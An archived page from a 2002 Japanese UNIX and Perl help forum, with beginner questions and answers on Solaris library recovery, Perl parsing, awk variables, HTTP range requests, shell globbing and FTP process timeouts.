68user's page 掲示板

Prev< No. 2685〜3900> Next  [最新発言に戻る] [過去ログ一覧]
No. 2685 # サト [E-mail] 2002/05/12 (日) 03:24:18
はじめまして、サトと申します。
unixについて知識のある方、お助け下さい。。
会社のunixサーバを壊してしまいました。。
とある理由で、/usr/lib/libdl.so.1 が何者かも知らずに
mv libdl.so.1 libdl.so.1.org などと実施してしまいました。
(osパッチを当てた後くらいから、コンパイルのリンクエラー
でlibdl.so.1うんぬんと出てきたので、このライブラリだけ旧版に
戻してもみうと思って行ってしまいました。。)
そしたら、それ以後のユーザーコマンドが一切実行できなくなりました。。
ユーザーコマンドのほとんどが libdl.soをリンクしていたようです。
よって、mvで戻そうとしてもmvもcpも起動できなくなって戻せない状態です。。
OSの再インストールを覚悟していますが、この状態で何か対処方法は
ありますでしょうか?
どなたかお助け下さい。。よろしくお願いします。。。

No. 2686 # 68user 2002/05/12 (日) 06:16:57
>>2685 サト
OS は何ですか? 「UNIX」と言ってもいろいろありますので。

Solaris ならこんな感じで。
    http://www.google.com/search?q=solaris+%95%9C%8B%8C+CD-ROM+mount&hl=ja

また、HDD を別の UNIX マシンにつないで、適当な場所 (/hoge とか) に
mount して、
    # mv /hoge/lib/libdl.so.1.org /hoge/lib/libdl.so.1
などとする手もあります。

No. 2687 # サト [E-mail] 2002/05/12 (日) 16:02:04
>>2686 68user
68user様、レス大変ありがとうございます。
どうにもならないのかと思っていたので、少し安心しましたです。
昨日から相当凹んでましたので。。
OSはソラリスで、マシンはSUNウルトラだっと思います。
(ソフト開発専門なのでマシン環境などはうとくて。。)
週明けにマシン環境の担当と相談してみます。
ありがとうございました。

No. 2688 # さとるる 2002/05/13 (月) 12:34:52
HP−UNIXでman sarを実行したところオプションvのところで
”text-sz (該当しません)”となっていましたがtext-szは
もともと何の監視のためにあったのか知ってたら教えてください。

No. 2689 # moto 2002/05/16 (木) 06:46:43
お世話になります。トータルで3回目の質問になるのですが、
perl で例えば

<>aa<>bb<>cc<>dd<>  ←1行目
ee<>ff<>gg      ←2行目

このようなデータがあった場合
<>aa
<>bb
<>cc
<>dd
<>ee
<>ff
<>gg
のように出力させるコードを教えてください。
よろしくお願いします。

No. 2690 # ふくし 2002/05/16 (木) 07:09:08
<> が区切り文字だと事前にわかっていれば、
chomp で改行を除き、
<> で split して、<> を改めて付加して出力、ですね。

通常のフィルターの書き方はわかりますか?
chomp、split の使い方は man perlfunc か、
ラクダの本を見てください。
(どっかで日本語の man perl が公開されてたな)

<>が区切り文字だとわかっていなければ、無理だと思います。
というのは、たとえば 1 行目で、<> が区切りなのか、
<>a なのか、<>aa なのか、機械には不明だからです。

No. 2691 # aaa 2002/05/16 (木) 13:00:16
以下はどうでしょうか?

#!/usr/local/bin/perl

my(@array) = ( "<>aa<>bb<>cc<>dd<>", "ee<>ff<>gg" );

foreach $aref ( @array ) {
        $str .= $aref;
}

$str =~ s/\</\n\</g;
$str =~ s[ ^\n ]{}gsx;
print "$str\n";

No. 2692 # moto 2002/05/17 (金) 06:37:10
ふくしさん、aaaさん、
お二人のコードを参考にして解決できました。
ありがとうございました。

No. 2693 # 名無しさん 2002/05/17 (金) 14:02:00
>>2691 aaa
これはちょっと参考になりませんねぇ。。(aaaさんゴメン)
ちょっと間違ってます。

("[*1]<>aa<>bb<>cc<>dd<>[*2]", "[*3]ee<>ff<>gg"
与えられた配列の、*1〜3の所に項目が一つ増えただけで思ったようには動かないと思う。。

1つの変数にぶち込んだ時点で、*2 *3の区別ができなくなる。
そして、
$str =~ s[ ^\n ]{}gsx;
ですが、、^\nでマッチするところは、s(単一行として扱う)が付いてるから、頭の所("\n<>aa...")の\nが取れるだけだし、、gを付ける必要は無い
ここでまた一つ問題がある。。多分、motoさんの発言を見ると、*1の部分にも項目が来ると思われる。。"xx<>aa<>bb..."
そうすると、1行目に<>が入らず、、
xx
<>aa
...
ってなる。。。
あともう一つ。@arrayは配列だって分かるから括弧を付ける必要は無い
my @array = (...)こんな感じ

No. 2694 # 名無しさん 2002/05/17 (金) 14:21:57
自分で書いてみた。

my @target = ("<>aa<>bb<>cc<>dd<>", "ee<>ff<>gg");

my @result = map {
                my @tmp = split(/<>/);
                shift(@tmp) if $tmp[0] eq '';
                @tmp;
        } @target;


foreach (@result) {
        print "<>$_\n";
}

No. 2695 # G 2002/05/17 (金) 20:32:00
HP-UNIXで過去の日付を表示させる方法しりませんか?
ちなみにenv TZ=JST-9 dateでは1日分しかさかのぼれないので、
他の方法で知っている人がいれば教えてください。

No. 2696 # 68user 2002/05/18 (土) 01:39:02
>>2695 G
shellutils で GNU 版 date をインストールするか、perl で
    localtime(time()-60*60*24)
などとするのがお手軽なんじゃないでしょうか。

No. 2697 # G 2002/05/18 (土) 02:45:24
>>2696 68user
返答ありがとうございます。
なにぶん初心者なもので、アドバイスの意味があまりわからないの
ですが、これから調べてやってみようと思います。
会社の環境ゆえ、インストールはできないのでperlの方を参考に
させていただきます。自力でわからなかったときはまた、よろしく
お願いいたします。

No. 2698 # KL 2002/05/18 (土) 06:31:39
>>2689-2694

〜嫌がらせ編〜 「暗黙の初期化? 怖いけどイイ!」

while (length($a = substr("<>aa<>bb<>cc<>dd<>" . "ee<>ff<>gg", $b++, 1))) {
    uc($a) ne $a && length($c .= $a) == 2 && print "<>$c\n", $c = ''
}

〜お気楽編〜 「パターンマッチマンセー!」

$a = "<>aa<>bb<>cc<>dd<>" . "ee<>ff<>gg";
while ($a =~ /(\w\w)/g && print "<>$1\n"){}

〜メモリ倹約編〜 「入力元即処理!」

(push @x, "<>aa<>bb<>cc<>dd<>"), push @x, "ee<>ff<>gg";
map {while ($_ =~ /(\w\w)/g && print "<>$1\n") {}} @x;

#またはファイルから読み込む場合
while (<FILEHANDLE>) {while ($_ =~ /(\w\w)/g && print "<>$1\n") {}}

No. 2699 # KL 2002/05/18 (土) 06:41:44
よく拝見すると"Perl"とは入ってないですね 笑
>UNIX、CGI、ネットワーク、Java Servlet についての掲示板

No. 2700 # パルテノ [E-mail] 2002/05/22 (水) 01:07:34
はじめまして
HTTPプロトコルを利用したファイル転送について教えて下さい。

私はグラフィックデザインに関わっているので、インターネットを介して
画像や映像など比較的大きなデータを日常的にやり取りしています。
今は、ICQやMSNメッセンジャーのファイル転送を利用しているのですが
相手のファイアーウォールやルーターの設定から接続出来ない事もあります。

また接続が切れてしまった場合、続きから再開できるレジューム機能についても解説して戴けないでしょうか?

宜しくお願いします。

No. 2701 # 石田安弘 [E-mail] 2002/05/23 (木) 15:48:08
はじめまして。石田と申します。
★件名★「UNIXの部屋」公開ありがとうございます。

*現在、私はlinux(Unix)のシェルプログラミングを勉強中です。
*ところが、manコマンドでは全然分からないので、
  GoogleやMLアーカイブ検索して調べていましたが、

*こちらのUNIXの部屋は非常に分かりやすく参考になります。

*分かりやすいポイントは、
    1)パラメータの意味が日本語で分かりやすく書いてある
    2)具体例がメッセージなど併せて書いてある。
ところが非常に分かりやすいです。

*私が今作っているスクリプトは
  1)redhatのupdateのFTPサイトと自分のpcの
      rpmパッケージリストを持って来て、マッチングして、
  2)不足分のファイル一覧を作成
      この中から必要なファイルをFTPでダウンロード

*とにかく、パッケージのアップデートは手間がかかるので、
  なるべく自動化しようと思っています。

* これからも「UNIXの部屋」がんばってください。

No. 2702 # 68user 2002/05/24 (金) 23:33:00
>>2699 KL
> よく拝見すると"Perl"とは入ってないですね 笑
もちろん Perl は UNIX であります (^^

>>2700 パルテノ
> 続きから再開できるレジューム機能
HTTP にはレジュームのような高級な機能はありません。二回目以降の
接続時に、単にデータの開始バイトを指定しているだけです。

接続が切れた場合は、ローカルに落したファイルサイズを見て、
たとえば 1000バイトまでダウンロードできているなら
    GET / HTTP/1.0
    Range: bytes=1000-
とします (ファイル先頭は 0 バイト目)。

http://www.studyinghttp.net/rfc_ja/2616/sec14.html#sec14.35

>>2701 石田安弘
> *こちらのUNIXの部屋は非常に分かりやすく参考になります。
ありがとうございます。改善点などありましたら指摘して下さい。

No. 2703 # くろう 2002/05/25 (土) 13:00:33
はじめまして、くろうです
C言語初心者がいきなりソケットプログラムを作っているのですが
どんな本を見ても、いまいちわからないことがあるので質問します。

UNIXで最大1Mハ゛イトの可変ファイルソケットで受信しているのですが
ソケットで受信する時、recvのバッファーのサイズはどのくらいとるのが適正値なのでしょう。

        char buf[4096];
        rtncd = recv(sockid,buf,sizeof(buf),0);

受信したテ゛ータは連結編集してます。
よろしくおねがいします。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2704 # 68user 2002/05/25 (土) 13:24:13
>>2703 くろう
100 バイト単位で値を変えて、転送速度を計りましょう。

それが面倒なら 4096 でいいんじゃないでしょうか。
# 僕は面倒なので 4096。

No. 2705 # ゆくま 2002/05/27 (月) 21:04:19
皆さんはじめまして。ゆくまといいます。
いつも「UNIXの部屋」を活用させて頂いております。

現在、UNIXの*について調べているのですが、
もしご存知の方がいらっしゃったら教えていただけますでしょうか?

たとえば、

>ls
file01.dat file02.dat
>cat *

としたとき、catの表示順は必ず、
file01.dat の次に file02.dat
である(つまりソート順)、と決まっているのでしょうか?
もしくは不定なのでしょうか。

よろしくお願いいたします。

No. 2706 # 68user 2002/05/27 (月) 22:10:29
>>2705 ゆくま
> file01.dat の次に file02.dat である(つまりソート順)、
> と決まっているのでしょうか?
はい、ソートされます。sh・csh・tcsh・bash・zsh・ksh
など全てのシェルでソートされるはずです。

ただし cat *2* *1* だと file02.dat file01.dat の
順になります。

No. 2707 # ゆくま 2002/05/28 (火) 10:08:28
>>2706 68user
レスありがとうございます。

これってやはり考えるまでも無い当たり前のことなんですかね。
これまで何年かUNIXを使ってきて、そうだとは思っていた
のですが、改めて調べてみたところ、そのことを明記している
ようなドキュメントを見つけることができなかったのです。

おそらく何らかのパブリックなドキュメントには明記してある
ことだとは思うのですが。。。
ご存知の方はいらっしゃいますでしょうか?

No. 2708 # 68user 2002/05/28 (火) 11:14:07
>2707
> おそらく何らかのパブリックなドキュメントには明記してある
> ことだとは思うのですが。。。
手元にあるマニュアルを調べてみました。

FreeBSD 4.5-RELEASE の tcsh(1)
      ファイル名置換
              単語が `*', `?', `[', `{' のいずれかの文字を含む場合、また
              は 先頭が `~' で始まる場合、その単語はファイル名置換 (ある
              いはグロブ (globbing) と呼ばれます) の候補になります。この
              ような単語をパターン (グロブパターン) と見なし、そのパター
              ンにマッチするファイル名のリストをアルファベット順で整列し
              たもので置き換えます。

FreeBSD 4.5-RELEASE の csh(1) ・・・発見できず

Solaris2.6 の sh(1)
    [ファイル名の生成]
          コマンド実行に先立ち、各コマンドワードは、 *、?、および [ を
          含んでいないかチェックされます。これらの文字のいずれかがある
          と、そのワードはパターンとみなされます。このワードは、パター
          ンと一致する、辞書編集方式の順にソートされたファイル名に置換
          されます。

Solaris2.6 の csh(1) ・・・発見できず

bash-2.0.5a
      Pathname Expansion
              After word splitting, unless the -f option has been set,
              bash scans each word for the characters *, ?, and [. If
              one of these characters appears, then the word is regarded
              as a pattern, and replaced with an alphabetically sorted
              list of file names matching the pattern.

No. 2709 # 68user 2002/05/28 (火) 11:35:03
>>2708 68user
> FreeBSD 4.5-RELEASE の csh(1) ・・・発見できず
FreeBSD 4.5-RELEASE の sh(1) ・・・発見できず

の間違いです。

No. 2710 # ゆくま 2002/05/28 (火) 11:49:20
>2708
>手元にあるマニュアルを調べてみました。

わざわざありがとうございます。
なるほど!灯台下暗しでした(申し訳有りません、、、)。

ちなみにこちらの手元も調べてみましたところ、

Solaris7 のcsh(1)
[ファイル名置換]
          *、?、[、または { のうちのいずれかの文字を含むクォートされ
          てい な い ワード、または ~ で始まるワードは、以下のように
          アルファベット順にソートされたファイル名のリストに展開 (グ
          ロビングとも呼ばれる) されます。

とありました。

お手数をおかけしました。
助かりました!

No. 2711 # ゆくま 2002/05/28 (火) 11:59:36
>2710
追記です。
当方のSolaris2.6のcsh(1)にもSolaris7と同じ表記が見つかりました。
ということは、68userさんの環境と異なるのでしょうか?

No. 2712 # G 2002/05/28 (火) 13:44:33
HP-UXのawkコマンドのパターン指定ではシェル変数は使えないのでしょうか?下記のような条件で、いろいろ形を変えて試して見たのですがまったくうまくいきません。分かる方教えてください。

例:awk '$1<=${hensuu}{print $0}' file.txt
※${hensuu}=1,2,3,4,5・・・・・・

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 2713 # 68user 2002/05/28 (火) 16:18:16
>>2711 ゆくま
> 当方のSolaris2.6のcsh(1)にもSolaris7と同じ表記が見つかりました。
こちらの Solaris2.6 にも同じ記述がありました。流し読みしたので
見逃していたようです。

>>2712 G
シェル変数は、シェルのための変数であって、シェル以外からはどうやっても
参照できません。よって、
    % env MAX=123 awk '$1<=ENVIRON["MAX"]{print $0}' file.txt
などと環境変数を使うか、
    % awk -v max=123 '$1<=max {print $0}' file.txt
で変数を指定しましょう。

No. 2714 # G 2002/05/28 (火) 18:56:58
>>2713 68user
ありがとうございました。教えていただいたコマンドで上手くいきました。

No. 2715 # STP 2002/05/31 (金) 17:13:59
こんにちは、時々見させてもらってます

PerlでIO::Socketを使っているのですが、
HTTPのPersistent connectionの様な、「サーバーから一旦データが
送られてきた後のコネクションは維持しつつも無通信な状態」
といった状態をプログラム側で判別できずに困ってます

この間にsysreadなどを使うとデータが送られてこないためずっと
待ってしまいますので…

IO:Selectのcan_read($timeout)も試してみたのですが、
この様な状態ではしっかりとソケット識別子を返してしまう
みたいで結果としてsysreadの所に行ってしまってそこで止まってしまう
様な感じでした。

何か良い知恵はないでしょうか??
まあHTTPならcontent-lengthを見て1オブジェクトの受信の終わりを判別すれば良いんでしょうけど…

No. 2716 # 68user 2002/05/31 (金) 17:54:38
>>2715 STP
> この様な状態ではしっかりとソケット識別子を返してしまうみたいで
ということはないと思いますが、問題が発生する最小限の
プログラムを見せていただければ何かわかるかもしれません。

# あと、OS や perl のバージョンなども。

No. 2717 # よー 2002/05/31 (金) 18:10:14
こんにちは、時々見させてもらってます。

PerlでHTTPSクライアントを作成したいのですが
サンプルありますでしょうか

No. 2718 # 名無しさん 2002/05/31 (金) 20:11:59
>>2717 よー
LWP?

No. 2719 # 68user 2002/05/31 (金) 22:18:28
>>2717 よー
何をどう書いたのか全く覚えていませんが、LWP と Crypt-SSLeay で
できるようです。
>>1848 d-jiro
>>1849 68user
>>1854 d-jiro
>>1855 68user

No. 2720 # よー 2002/06/01 (土) 08:28:35
Socketを用いたPerlでHTTPSクライアントのサンプルは
ありませんか?

No. 2721 # 68user 2002/06/01 (土) 15:11:21
>>2720 よー
http://www.thomas-fahle.de/pub/perl/LWP/HTTP/HTTP_Get.html#https

No. 2722 # Netboy [E-mail] 2002/06/01 (土) 20:20:51
68userさん,こんにちは.
失礼ながらご連絡事項をこちらでお伝えします.

このサーバーがポートスキャンの踏み台にされたそうです.
カーネルも古いし本格的な対策は無理だと思いますが
そちらでできる対策があれば試していただけませんか.

> 早速ですが、サンライズシステムズ 様の配下にある
> 210.249.139.22 というホストから
> ポートスキャンが行われた模様との連絡が入りました。

連絡経路はTTCNパワードコムの鎌田さん->両毛の新堀さん->私の順です.

No. 2723 # Netboy [E-mail] 2002/06/01 (土) 20:29:35
実は5/30に胆嚢摘出の手術を受けまして,入院中なのです.
動くに動けない感じで,今も看護婦の目を盗んで携帯でつないでいます.
何かありましたらお気軽にメールください.

No. 2724 # 68user 2002/06/01 (土) 23:39:56
>>2722 Netboy
現在対応中です。ひととおり終わりましたら作業項目を書き
込みます (メールの方がよろしければメールします)。

> 実は5/30に胆嚢摘出の手術を受けまして,入院中なのです.
大変ですね。御大事に…。

No. 2725 # 68user 2002/06/02 (日) 03:49:47
>>2722 Netboy
メール送りました。

No. 2726 # Netboy 2002/06/06 (木) 14:07:25
ただ今再起動しました

No. 2727 # 68user 2002/06/06 (木) 15:44:25
利用者の方へ。

サーバを置いてあるところの管理者の方が、2002/06/02 にマシンの
電源を落とされたため、しばらくアクセスできない状態になっていました。

No. 2728 # yun [E-mail] 2002/06/07 (金) 14:05:48
PerlでのFTP接続を行いファイル転送をしたいのですがうまくいかず
困ってます。
$proto = getprotobyname('tcp');
$port = getservbyname('ftp', 'tcp');
$iaddr = inet_aton($hostname) or die "$hostnameのアドレス取得失敗";
$paddr = pack_sockaddr_in($port,$iaddr);
socket(SOCKET,PF_INET,SOCK_STREAM,$proto) or die "socket失敗";
connect(SOCKET, $paddr) or die "connect失敗";
# ファイルハンドル COMMAND をバッファリングしない
select(SOCKET); $|=1; select(STDOUT);
#---------- ユーザ認証 ----------------------
print SOCKET "USER $username\r\n";
print SOCKET "PASS $password\r\n";
#------------------------------------------
と、ユーザー認証まではいけるでのすがその後で
エラーとなってしまいます。
ちなみにユーザーとパスともにあっているはずなんですが・・・。
情報不足かと思いますが何か思い当たることがありましたら
指導のほどお願いいたします。

No. 2729 # yun [E-mail] 2002/06/07 (金) 16:39:14
↓のNo.2728の件です。
接続まで何とかできたのですがファイルをアップロードしたいのですが
どのようにすればいいのかわからなくて・・・。
教えていただけませんか??

No. 2730 # 68user 2002/06/07 (金) 16:42:28
>>2729 yun
2729 は 2728 の補足ですか? それとも 2728 の件は解決したのですか?

エラーが出るのですか? やり方がわからなくて先に進めないのですか?

No. 2731 # yun 2002/06/11 (火) 10:43:01
接続後のPUTの仕方がわからないので先にすすめないんです。
ん〜情報が少なくて申し訳ないです。
何かわかることがありましたらお願いします。

No. 2732 # ふくし [E-mail] 2002/06/11 (火) 10:56:35
いつも唐突な知るもんですいません。
「日本語情報処理」という本を読んでいたら、
EUC を内部コードとして使うコンピューター(?)か
ソフトウェア(?)として
「焼き獣ホスト(YKH)」というのが出てきたんですが、
焼き獣ホストで Google しても見つかりません。
これ、何かご存知の方はいらっしゃいますか?

No. 2733 # 68user 2002/06/11 (火) 11:53:35
>>2731 yun
> 接続後のPUTの仕方がわからないので先にすすめないんです。
http://X68000.startshop.co.jp/~68user/net/ftp-1.html を読んでください。

>>2732 ふくし
>「焼き獣ホスト(YKH)」
これですかね。端末エミュレータみたいですね。

    http://www.geocities.com/Tokyo/Flats/7725/view_info.htm
        YKH is a small application of this kind, that emulates Japanese VT-320
        terminal under MS-DOS and is freely distributed under the terms of the
        GNU general public licence

No. 2734 # リュウ 2002/06/11 (火) 20:45:03
はじめまして。リュウと申します。

初心者で申し訳ないのですが、質問があります。
HP9000にHP-UX11.0のコールドインストールをしているのですが、
毎回リブート後にメニューが出るようになってしまいました。
メニューを出さずに通常に内蔵ディスクから起動されるようにするには、
どのようにしたらいいでしょうか?

あと、
Interact with IPL?>
で、'Y'を押して
IPL>
から抜け出せなくなってしまいました。
exit,quitともダメです。。。

あわせてよろしくお願いします。

乱文で申し訳ございません。

No. 2735 # だいすけ 2002/06/12 (水) 10:43:26
ほんとに初心者です、おしえてください
課題でechoサーバ及び、クライアントのプログラムをC言語とPerlで作成する。というのがでたのですが、echoサーバはこのHPでプログラムが掲載してあるのでなんとか自分でやってみようと思うのですが、この場合のクライアントとはどのようなプログラムになるのでしょうか?
よろしければおしえてください。
宜しくおねがいします。

No. 2736 # だいすけ 2002/06/12 (水) 10:51:23
もう一つ質問なのですが。
課題2
・chargenサーバ及び、クライアントのプログラムをC言語とPerlで作成する。
フリーなUnix系OSで動作する事。
chargenサーバはデーモンとして動作する事。
chargenサーバは、標準telnetコマンドとも通信可能な事。
chargenサーバは、ログ機能を有する事。
chargenクライアントは通信先がchargenサーバと判明した時点で通信を終了させる
事。
という課題もでています。初心者の僕にはまったく課題の意味がわかりません。どなたかおしえてくれないでしょうか?たびたびすいません。宜しくお願いします。

No. 2737 # 68user 2002/06/12 (水) 13:01:04
>>2734 リュウ
せっかく「Interact with IPL」というキーワードがわかっているのですから、
それで検索しましょう。ついでにキーワードに「HP-UX」も付けておきましょう。
そしたら一発でひっかかります。

    http://www.google.com/search?hl=ja&q=Interact+with+IPL+HP-UX&lr=lang_ja

>>2735 だいすけ
> この場合のクライアントとはどのようなプログラムになるのでしょうか?
    http://X68000.startshop.co.jp/~68user/net/sample/http-client.pl
をちょっといじれば、echo クライアントになります。

>>2736 だいすけ
chargen については RFC864 をどうぞ。
    http://www.goto.info.kanagawa-u.ac.jp/~horiyuki/rfc/rfc864j.txt

その他の疑問点については、まず基本となる雛型を作ってみてから、ですね。

No. 2738 # だいすけ [E-mail] 2002/06/12 (水) 14:21:21
たびたびすいません。このような課題のクライアントのことなのですが?
どのようなプログラムになるのでしょうか?

echoサーバ及び、クライアントのプログラムをC言語とPerlで作成する。
フリーなUnix系OSで動作する事。
echoサーバはデーモンとして動作する事。
echoサーバは、標準telnetコマンドとも通信可能な事。
echoサーバは、ログ機能を有する事。
以上は必須機能です。
余裕があれば、
サーバには大文字、小文字変換機能をオプションで持たせる。
クライアントは文字列をファイルから読み取り、送信するオプションを付ける。
等、面白い機能を付加して下さい。

No. 2739 # だいすけ [E-mail] 2002/06/12 (水) 14:26:17
ほんとうに初心者なのでchargenについてはプログラムを書き始めることもできません。どうかたすけてください。

No. 2740 # 68user 2002/06/12 (水) 15:32:06
仕組みやプログラムを理解する手助けならできますが、答えをそのままあげる
ことはできません (おもしろくないから)。

宿題スレなら、誰かがソースを書いてくれるかもしれません。
    http://pc.2ch.net/test/read.cgi/tech/1020785918/l50


てゆーか、高専生か大学生かと思っていたんですが、社会人なのですか?

自分なりにある程度調べた上で、
    「ここまでは理解できたけど、この部分がわからないから教えてくれ」
という質問の仕方を身につけた方がよいと思いますが、まぁいらぬお節介でしょうね。

No. 2741 # バクモン 2002/06/12 (水) 19:05:24
はじめまして。
UNIXのftpコマンドについて、お聞きしたいことがあります。

ftpコマンドを使用して、WinNTサーバからUNIXへデータを
getしているのですが、以下の事象が発生しています。
・対象ファイルが0バイトの時、getコマンド終了後、そのまま
    ftpのプロセスがハングアップしてしまうことがある。

シェル内で以下のように使用しています。
ftp -n <<EOF
open [IPアドレス]
user [ユーザ名] [パスワード]
binary
get [getするファイル名] [保存するファイル名]
close
quit
EOF

現象を見る限り、getコマンドまでは完了してるようです。
psコマンドにて、ftpのプロセスを検索すると、
ftp -n
が残ってしまっています。

UNIX側からタイマーなどでftpのセッションを切ることは可能
なのでしょうか?

No. 2742 # 68user 2002/06/12 (水) 21:34:08
>>2741 バクモン
それって、要は ftp か ftpd のバグですよね。
    ftp -n < input &
    pid=$!
    sleep 300
    if [ `ps -p $!` ]; then
        kill $!
    fi
的な監視をするのが普通でしょうか。

No. 2743 # バクモン 2002/06/13 (木) 10:35:47
>>2742 68user
早速のご回答、ありがとうございます。
確かにftpプロセスの監視しかないかな、と思います。
そこで、再度質問なんですが、このftpコマンドを使用している
シェルがCシェルで書かれています(すいません、先に言って
おくべきでした)。
Cシェルでは直前に実行したコマンドのプロセスIDを取得する
方法はあるのでしょうか?
($!はKシェル、Bシェルのみの文法と調べたら書いてありました)

No. 2744 # だいすけ 2002/06/13 (木) 10:59:34
echoサーバの
3: #include <stdio.h>
        4: #include <netdb.h>
        5: #include <sys/types.h>
        6: #include <sys/socket.h>
        7: #include <sys/uio.h>
        8: #include <unistd.h>
        9: #include <sys/param.h>
      10: #include <netinet/in.h>
      11: #include <arpa/inet.h>
この部分なのですが、#include <stdio.h>はわかるのですが、
他の物は参考書も見ても掲載されていません。
なんなのでしょうか?

No. 2745 # シゲ 2002/06/13 (木) 12:36:14
昨日から、UNIXを勉強しだしました。大変、初歩的な質問かもしれないのでごめんなさい。
アクセス状態が-rw-------のファイルをmoreで表示させたいのですが、私はファイルの所有者ではないので表示させることができません。chmodは使わないでアクセスを出来るようなのですが、どうすれば良いのですか?
どなたか教えてください。よろしくお願いします。

No. 2746 # シゲ 2002/06/13 (木) 14:24:42
>>2745 シゲ
すみません。解決しました。
パスワードが解ればrootで入れるんですね。

No. 2747 # 68user 2002/06/13 (木) 17:39:03
>>2743 バクモン
> Cシェルでは直前に実行したコマンドのプロセスIDを取得する
> 方法はあるのでしょうか?
$status です。

>>2744 だいすけ
例えば、関数 listen を使いたい場合は、man listen として、
include すべきファイルを調べます.同様に accept や bind など、
使用している関数全てについて調べていくと、それだけのファイルを
include する必要がある、ということです。

No. 2748 # 木場 2002/06/13 (木) 23:06:36
ここのサイトのC言語のHTTPクライアントを使わせてもらって色々勉強させてもらってます。そこで質問なのですが、imodeのURL例えば(http://mobile.yahoo.co.jp/)のレスポンスが返ってくるプログラムを作ろうとしているのですが、どうも、302 FOUND がでてしまい、うまくいきません。どのように解決したらよいでしょうか?

No. 2749 # 68user 2002/06/14 (金) 00:59:09
>>2748 木場
Locaiton: ヘッダに示されている URL を読み込めばよいです。

No. 2750 # だいすけ 2002/06/14 (金) 09:21:22
前回のことについての質問のつづきですが
僕のもっている参考書には掲載されてないのですが、
僕のもっている参考書が古いということでしょうか?

No. 2751 # バクモン 2002/06/14 (金) 09:39:50
>>2747 68user
ご回答ありがとうございます。
ただ、$statusは直前のコマンドのリターン値がセットされる
と認識しています。
Cシェルで直前のプロセスIDを取得するには、プロセスをバック
グラウンドで動かすようにして、その際に標準出力されるプロセス
IDをテキストファイルにおとして、grepなりをする方法しか
ないかな、と考えています。

そこで、以下を考えました。
ftp -n <<EOF &
open [IPアドレス]
user [ユーザ名] [パスワード]
binary
get [getするファイル名] [保存するファイル名]
close
quit
EOF

これを実行すると
[1] 10161
と言った形でプロセスIDが出力されます。
ただ、これをテキストファイルに落とす方法がわかりません。
多分、リダイレクトをするのだと思っているのですが、どこに
それをうめこめばいいのでしょうか?

No. 2752 # だいすけ 2002/06/14 (金) 09:50:04
それとも
C言語で新しくできた関数なのでしょうか?

No. 2753 # 68user 2002/06/14 (金) 12:46:53
>>2751 バクモン
ああ、そういう意味ですか。

tcsh だと $! で取れますが、csh では無理かもしれないですね。
jobs -l だと取れそうですが、どうでしょうか。

ただ、僕なら監視用プロセスを別に起こします。

例えば、
    mkdir /tmp/.ftp-lock
    ftp -n <<EOF
    open
    ..
    quit
    EOF
    rmdir /tmp/.ftp-lock
として、監視プロセスは n 秒前より過去に /tmp/.ftp-lock が作成されて
いたら、
    kill `ps -ef | grep get-file.sh | grep -v grep'
する、とか。

もちっと確実にするなら
    ln -s $$ /tmp/.ftp-pid
    ftp -n <<EOF
    open
としてプロセス番号を特定できるようにする方法もあります ($$ は sh の
プロセス番号なので、$$ の子プロセスを kill する必要がありますけど)。


>>2750 だいすけ
「何が」参考書に掲載されていないのですか? netdb.h? listen? accept?

ここらへんの関数については規格化されていません。よって、UNIX では
使えても Windows では関数そのものがなかったりします。

例えば
    「ANSI C マニュアル」
といった書名ならば、規格化された関数については網羅しているかもしれませんが、
規格外の関数については載っていなくても不思議ではありません。

No. 2754 # だいすけ 2002/06/14 (金) 14:10:21
5: #include <sys/types.h>
                6: #include <sys/socket.h>
                7: #include <sys/uio.h>
                8: #include <unistd.h>
                9: #include <sys/param.h>
            10: #include <netinet/in.h>
            11: #include <arpa/inet.h
これらが参考書に掲載されてないという意味だったのですが
manコマンドでしれべていくのですね。
どうもありがとうございます。

No. 2755 # ビギナー 2002/06/14 (金) 15:32:49
はじめまして。
まだ、UNIXをはじめたばかりの初心者です。
いま、windows環境のマシンからtera termを使ってUNIXマシンにpostgressqlをインストールしています。そこで、「カーネルのコンフィギュレショーションファイルをチェックする」と書かれているのですが、これってどうやるのですか?
どなたか教えてください。
よろしくお願いします。

No. 2756 # 68user 2002/06/14 (金) 17:20:34
>>2755 ビギナー
> 「カーネルのコンフィギュレショーションファイルを
> チェックする」と書かれているのですが、これって
> どうやるのですか?
OS によって違います。

http://osb.sra.co.jp/PostgreSQL/Manual/PostgreSQL-7.1-ja/kernel-resources.html
をどうぞ。

No. 2757 # ビギナー 2002/06/14 (金) 21:05:51
>>2756 68user
ありがとうございます。

No. 2758 # きば 2002/06/15 (土) 03:30:10
ご回答ありがとうございました。
今もちょっとわからないとこがあるのですが、
もうちょっと考えてわからなかったら、
聞きにきます。

No. 2759 # きば 2002/06/15 (土) 10:43:34
再び質問です。
先ほどの質問と症状は似ているのですが、imodeのURLで(http://mobile.yahoo.co.jp/yahoo/index.html)のリクエストを出すと

HTTP1.0 302 FOUND
DATE
Location http://mobile.yahoo.co.jp/error/404.html
Conection: close

のレスポンスが返ってきて、locationの部分を入れても実際のimodeのURLがゲットできなくて困っています。どのようにC言語のHTTPクライアント(1)
のソースをいじればちゃんとしたレスポンスが得られるでしょうか?
よろしくお願い致します。

No. 2760 # 黒木 2002/06/15 (土) 12:02:31
初めまして黒木と申します。UNIX初心者です。

/usr/dict/words という辞書ファイルからEが2個以上出て、AとDとTがそれ
ぞれ1個以上出て、最初がLで始まる単語が書かれてる行を見つけるには、
どういう1行コマンドを書けばよいでしょうか?よろしくお願いします。
(但し、文字は全て大文字・小文字を区別しない)

*ファイルは何でも良いので、見つける方法が知りたいのです。

No. 2761 # 68user 2002/06/15 (土) 21:45:19
>>2759 きば
> imodeのURLで(http://mobile.yahoo.co.jp/yahoo/index.html)
> リクエストを出すと
ブラウザで http://mobile.yahoo.co.jp/yahoo/index.html
見ると、404 not found になるので、

> Location http://mobile.yahoo.co.jp/error/404.html
当然そうなると思いますよ。

どこからこの URL が出てきたのでしょうか?

>>2760 黒木
grep -i 'E.*E' /usr/dict/words | grep -i A | grep -i D | grep -i T | grep -i '^L'
でどうでしょう。

No. 2762 # きば 2002/06/15 (土) 22:10:56
すばやいレスありがとうございます。
http://mobile.yahoo.co.jp/yahoo/index.html
↑はimodeの使える携帯端末で見ることの出来るヤフーのカテゴリ検索のサイトです。
上記のURLのリクエストを送ったら携帯端末で見ることの出来るサイトをレスポンスしてくれるようにしたいのです。


